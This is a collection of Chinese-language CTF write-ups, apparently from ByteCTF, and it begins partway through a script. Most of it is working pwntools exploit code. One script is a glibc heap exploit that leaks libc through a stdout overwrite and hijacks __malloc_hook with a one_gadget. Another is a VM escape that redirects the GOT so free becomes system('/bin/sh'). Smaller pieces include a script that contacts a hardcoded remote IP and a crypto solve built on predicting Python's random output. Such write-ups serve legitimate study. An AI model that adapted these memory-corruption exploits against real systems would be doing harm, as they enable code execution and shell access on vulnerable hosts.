log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def exploit(io):
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def choice(cmd, *argv):
sla('>>',cmd)
for i in argv:
if isinstance(i,tuple):
sa((i[1]),i[0])
continue
if isinstance(i,list):
sla(i[1],i[0])
continue
sla(':',i)
add = lambda idx,size :choice(1,idx,size)
edit = lambda idx,content :choice(2,idx,(content,':'))
delete = lambda idx :choice(3,idx)
# dbg(elf.plt.malloc) # malloc
# dbg(0xE6D) # free
# dbg(0x0DEE) # edit
add(0,0xe8)
add(1,0xe8)
add(2,0xe8)
add(3,0xe8)
add(4,0xe8)
# dbg(0xE6D) # free
delete(0)
payload = 'a' * 0xe0 + p64(0x2d0) + '\xf0'
edit(2,payload)
delete(3)
add(0,0x2d0 - 0x10)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
delete(1)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += p64(0) + p16(0x37f8 - 0x10) + '\n'
edit(0,payload)
add(3,0xe8)
add(3,0xe8)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
delete(2)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
payload += p16(0x25cf)
payload += '\n'
edit(0,payload)
add(3,0xe8)
add(4,0xe8)
payload = "\x00" + p64(0)*4
payload = flat('aaaaaaaaa',p64(0)*7,0xfbad1800,0,0,0,p8(0),'\n')
edit(4,payload)
ru(p64(0xfbad1800))
r(0x20)
libc.address = uu64(r(6))-libc.sym._IO_2_1_stdout_-131
success('libc.address = 0x%x' % libc.address)
assert libc.address % 0x1000 == 0
# hijack control flow
fastbin_attack1 = libc.sym.__malloc_hook - (0x7ffff7dd1b10 - 0x7ffff7dd196f)
fastbin_attack2 = libc.sym.__malloc_hook - (0x7ffff7dd1b10 - 0x7ffff7dd1a50)
delete(3)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
payload += p64(fastbin_attack1)
payload += '\n'
edit(0,payload)
add(3,0xe8)
add(4,0xe8)
payload = "\x00" + p64(0)*7 + p64(libc.address + 0x00007ffff7dd06e0 - 0x7ffff7a0d000)
payload += p64(0) * 19 + p64(0xff) + "\n"
edit(4,payload)
delete(3)
payload = '\x11' * 0xe0
payload += p64(0) + p64(0xf1)
payload += '\x22' * 0xe0 + p64(0) + p64(0xf1)
payload += p64(fastbin_attack2)
payload += '\n'
edit(0,payload)
add(3,0xe8)
add(4,0xe8)
payload = p64(0)*21 + p64(libc.sym.one_gadget)+ p64(libc.sym.__libc_realloc+13)+ "\n"
# payload = p64(0)*22 + p64(libc.sym.one_gadget)+ "\n"
# dbg(0x0DEE) # edit
edit(4,payload)
add(3,0x100)
return io
if __name__ == '__main__':
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
else:
io = process(binary_file, 0)
exploit(io)
io.interactive()
[M]emory Set的时候设置stack为mem-0x1000的位置,对于bp只检查与mem->size的大小,而不是检查stack_max,使得bp可以栈溢出
将ebp设置为0x1008,使ebp指向了mem->stack指针
由于Partial RELRO,接下来的思路是将stack指针劫持到got表。
本来想通过断点打印的信息把libc leak出来的,不过既然有add和sub这样的opcode,直接根据libc的相对偏移去加减操作省事很多。
由于寄存器是32位的,分别将free的高低32位设置为system。再一次[M]emory Set的时候会free掉这个chunk,所以在payload头部写入/bin/sh,并且设置eip为8跳过这个字符串。
#-*- coding: utf-8 -*-
from pwn import *
binary_file = './ezarch'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.27/'
gdbscript = 'directory %smalloc\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def exploit(io):
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
func = lambda opcode, _type1, _type2, arg0, arg1: flat(p8(opcode), p8(_type1*0x10+_type2), p32(arg0), p32(arg1))
# reg
r = [i for i in range(0x10)]
esp = 16
ebp = 17
# _type1
stackreg = 0
regimm = 1
regreg = 2
# _type2
no_ptr = 0
ptr = 2
# opcode
error = 0
add = 1
sub = 2
mov = 3
xor = 4
_or = 5
_and = 6
shl = 7
shr = 8
push = 9
pop = 0xA
call = 0xB
ret = 0xC
test = 0xD
test2 = 0xE
jz = 0xF
jz2 = 0x10
nop = 0x11
payload = flat(
'/bin/sh\x00',
func(mov,regimm,no_ptr,ebp,0x1008),
func(mov,regreg,no_ptr,r[0],ebp),
func(sub,regimm,no_ptr,r[0],0xa8),
func(mov,stackreg,ptr,ebp,r[0]),
func(mov,regimm,no_ptr,ebp,8),
func(mov,regreg,no_ptr,r[0],ebp),
func(sub,regimm,no_ptr,r[0],libc.sym.puts-libc.sym.system),
func(mov,regimm,no_ptr,ebp,0),
func(mov,stackreg,ptr,ebp,r[0]),
func(mov,regimm,no_ptr,ebp,8+4),
func(mov,regreg,no_ptr,r[0],ebp),
func(mov,regimm,no_ptr,ebp,4),
func(mov,stackreg,ptr,ebp,r[0]),
)
sla('>', 'M')
sla('>', 0x1100)
sla('>', len(payload))
sa(')', payload)
sla('>', 8)
sla('>', 0)
sla('>', 0)
# dbg(0x9C0) # run
# dbg(0x0AC2) # free
sla('>','R')
sla('>','M')
sla('size>',1)
return io
if __name__ == '__main__':
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
else:
io = process(binary_file, 0)
exploit(io)
io.interactive()
打开题目即可getflag
遇到题目怎么办?当然是人工做题了,先把没有带白字的图片,全部删掉,先把能拼接的都拼接起来,然后再整体连接起来。突然发现一个flag
根据"{"大致确定了中间位置,然后逐个拼接
最终拼接完毕
图片flag为flag{fate_stay_nt},提交然后失败
然后把flag换成bytectf即bytectf{fate_stay_nt},提交成功
# coding=utf-8
from pwn import *
p=remote('112.125.25.81',9999)
# context(log_level='debug')
f = ['j','s','b']
def getind(x,y):
if y == 0:
return x
elif y ==1:
return (x+y)%3
elif y == -1:
if x > 0:
return x+y
elif x == 0:
return 2
for i in range(10):
print i,"1"
p.recvuntil("e: ")
t = p.recvline().strip('\n')
p.sendline(f[getind(f.index(t),0)])
print i, "2"
p.recvuntil("e: ")
t = p.recvline().strip('\n')
p.sendline(f[getind(f.index(t), -1)])
print i, "3"
p.recvuntil("e: ")
t = p.recvline().strip('\n')
p.sendline(f[getind(f.index(t), 1)])
p.interactive()
通过old的1000组可以预测python随机数,
https://github.com/tna0y/Python-random-module-cracker
一共2轮aes加密,既然密钥可以预测出来,自然就能解密得到clist。
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from Crypto.Cipher import AES
import random
from randcrack import RandCrack
rc = RandCrack()
with open('old') as file:
old = [int(i) for i in file.read().strip().split('\n')]
index = 0
for i in range(index,624):
rc.submit(old[index])
index+=1
for i in range(1000-624):
assert(old[index]==rc.predict_getrandbits(32))
index+=1
with open('cl') as file:
nlist = [eval(i) for i in file.read().strip().split('\n')]
with open('new') as file:
clist=[i.decode('hex') for i in file.read().strip().split('\n')]
key1=[]
key2=[]
key3=[]
for i in range(24):
key1.append(rc.predict_getrandbits(128))
for i in range(24):
key2.append(rc.predict_getrandbits(128))
for i in range(24):
key3.append(rc.predict_getrandbits(128))
tmp1=[]
for i in range(24):
handle = AES.new(long_to_bytes(key3[i]), AES.MODE_CBC, "\x00"*16)
tmpstate=handle.decrypt(clist[i])
tmp1.append(tmpstate)
tmp2=[]
for i in range(24):
handle = AES.new(long_to_bytes(key2[i]), AES.MODE_CBC, "\x00"*16)
tmpstate=handle.decrypt(tmp1[i])
tmp2.append(tmpstate)
# tmp3=[]
# for i in range(24):
# handle = AES.new(long_to_bytes(key1[i]), AES.MODE_CBC, "\x00"*16)
# tmpstate=handle.decrypt(tmp2[i])
# tmp3.append(tmpstate)
c=[]
for i in tmp2:
c.append(bytes_to_long(i))
for i in range(17):
print 'n = %d'%nlist[i]
print 'e = 17'
print 'c = %d'%c[i]
print '\n'
然后有了24组n,c;e=17。随便选择17组去广播攻击
最后一步类似jarvis oj上的bbencode原题,循环编码,判断flag开头的字符串
def bbencode(n):
a = 0
for i in bin(n)[2:]:
a = a << 1
if (int(i)):
a = a ^ n
if a >> 256:
a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L
return a
result = 61406796444626535559771097418338494728649815464609781204026855332620301752444
for i in range(10000):
result = bbencode(result)
if("666c6167" == str(hex(result))[2:10]):
print i
print hex(result)[2:-1].decode('hex')